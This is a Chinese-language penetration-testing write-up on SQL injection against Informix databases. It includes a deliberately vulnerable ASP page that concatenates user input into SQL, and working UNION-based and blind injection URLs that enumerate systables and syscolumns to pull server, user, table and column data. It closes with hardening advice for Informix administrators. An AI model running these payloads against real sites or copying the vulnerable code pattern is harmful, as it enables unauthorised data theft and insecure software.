前些时间做一个渗透测试,数据库是informix的。整理了一下。 
  informix数据类型比较复杂,在union查询中最郁闷的就是匹配字段的问题 
 数据类型如下 
 informix的字段类型   char(size)   varchar(size) 
 serial 
 nchar(size)   nvarchar(size) 
 real 
 interval 
 date 
 datetime 
 integer 
 smallint 
 float 
 smallfloat 
 money(p,s) 
 decimal(p,s) 
 text   byte   如果字段数量和类型都匹配了 那么得到数据很容易 
 **************************************************** 
 测试环境:   reate table test(name char(32),id int) 
 **************************************************** 
 ASP代码 
 ==================================================== 
 <% 
 Set conn=Server.CreateObject("ADODB.CONNECTION") 
 Set rs=Server.CreateObject("ADODB.RecordSet") 
 conn.open "dsn=poison;uid=informix;pwd=xxxxxx" 
 id=request("id") 
 strSQL = "select name from test where id=" & id 
 set rs=conn.execute(strSQL) 
 response.write(rs("name")) 
 rs.close 
 conn.close 
 %> 
 ===================================================== 
 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables;   dbservername,返回数据库服务器的名称 
 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables; 
 user,返回执行查询的用户的用户名(登陆帐户名) 
 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables; 
 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables; 
 返回任何表中插入的最后一个SERIAL值 
 http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables; 
 *************************************************************************************************************************** 
  得到任何数据 
 两个重要的系统表   systables:描述数据库中的很张表;   syscolumns:描述数据库中表的列;   ============================================== 
 select * from systables 
 tabname syscolumns 
 owner informix 
 partnum 1048580 
 tabid 2 
 rowsize 157 
 ncols 10 
 nindexes 2 
 nrows 2353.000000000 
 created 04/28/2008 
 version 65539 
 tabtype T 
 locklevel R 
 npused 25.00000000000 
 fextsize 32 
 nextsize 32 
 flags 0 
 site 
 dbname 
 type_xid 0 
 am_id 0 
 pagesize 4096 
 ustlowts 2008-04-28 22:26:00.00000 
 secpolicyid 0 
 protgranularity 
 ================================================== 
 select * from syscolumns 
 colname tabname 
 tabid 1 
 colno 1 
 coltype 13 
 collength 128 
 colmin 541543519 
 colmax 1937339256 
 extended_id 0 
 seclabelid 0 
 colattr 0 
 =================================================== 
 这样就可以得到任何表任何列的信息了   http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables 
 因为informix中利用first n 经常会出现"Cannot use "first", "limit" or "skip" in this context"的问题 
 (我也不知道什么原因 一些工具也就无法递归猜解数据) 
 systables 中tabid顺序排列 可以穷举得到所有表名   http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1 
 http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n 
 得到tabid和tabname的对应关系   and 1=2 union select colname from syscolumns where tabid=1 
 http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1 
 http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2 
 http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n 
 得到tabid=100 对应表的所有列 
 表列都有了 直接暴数据 
 //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
 不能union只能以为以为去猜 和ACCESS没什么太大的区别 
 注意只是一些函数的差别 
 length长度 
 substr 返回字符串中的某一部分,例substr(col,1,2) 
 substring 返回字符串中的某一部分,例substring(col,from 1 to 4) 
 我没有找到ASCII转化的函数 
 可以用字符表示 例’a’=substr(admin,1,1) 
 或者用十六进制函数 
 hex返回表达式的十六进制数 
  保护informix   为服务器持续打补丁 
 每当IBM发布新补丁的时候,应该尽可能地测试这些补丁并将其部署到生产系统上去 
 加密网络通信量 
 应该加密服务器和客户机之间的通信量。这有助于保护用户账户以及阻止通过网络窃取数据。通过使用Communication Support Module(通信支持模块)可以实现这一点。请参看Informix Server Administrator’s Guide(Informix服务器管理员指南) 
  取消Public的Connect特权 
 默认地,public被授予了connect特权。这意味着任何人,只要持有有效的操作系统用户ID和口令,都可以连接到数据库服务器。 
  启用审计 
 应该对关键事件进行审计,例如登陆尝试失败。更多细节请参看Administrators Guid或者Trusted Facility Guide。 
  取消Public对文件访问例程的权限 
 默认地,public可以执行文件访问函数,例如lotofile、filetoclob 和ifx_file_to_file。这将允许攻击者读、写服务器上的文件。为帮助解决这一安全漏洞,创建一个名为FileAccess的角色,按照严格的业务需求,只把那些需要访问文件的用户分配为该角色的成员。然后为该角色分配对文件访问例程的执行权限,并取消public的执行权限。 
 取消Public对模块例程的执行权限 
 默认地,public可以执行模块函数,例如ifx_replace_module、ifx_load_internal和reload_module。这将允许攻击者强制Informix服务器加载任意的库并像Informix用户一样执行代码。为帮助解决这一安全漏洞,创建一个名为 ModuleAccess的角色,按照严格的业务需求,只把那些需要加载模块的用户分配为该角色的成员。然后为该角色分配对这些例程的执行权限,并取消 public的执行权限。 
 阻止转储共享内存 
 在服务器崩溃事件中,可以将Informix配置为将共享内存段转储到磁盘。这是默认配置。因为这些转储文件是完全可读的且包含用户名和口令,将Informix配置为不转储共享内存将更合适。为此,编辑onconfig文件并将 DUMPSHMEM参数设置为0。然后停止并重启服务器。 
 阻止对基于Unix的服务器的本地攻击 
 Informix遭受的基于Unix平台的大部分本地安全问题都源自setuid root程序和setgid Informix程序。为了列举所有这样的程序,转到$INFORMIXDIR/bin目录下并发出下面的命令: 
 find ./ -perm  4000 
 这将列举bin目录内的全部setuid程序。防止本地用户攻击setuid程序的最简单的办法是删除other的执行权限;实际上,可以简单地删除others的全部权限: 
 chmod * o-rwx 
  限制语言Usage权限 
 应该限制被授予了C和Java例程语言usage权限的用户的数量。拥有这些语言的usage权限的任何人都可以像Informix用户一样运行代码。 
  有用文档 
 下述文档值得一读: 
 IBM Informix Dynamic Server Administrator’s Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf 
 IBM Informix Trusted Facility Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf 
 IBM Informix Guide to SQL:http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf
   |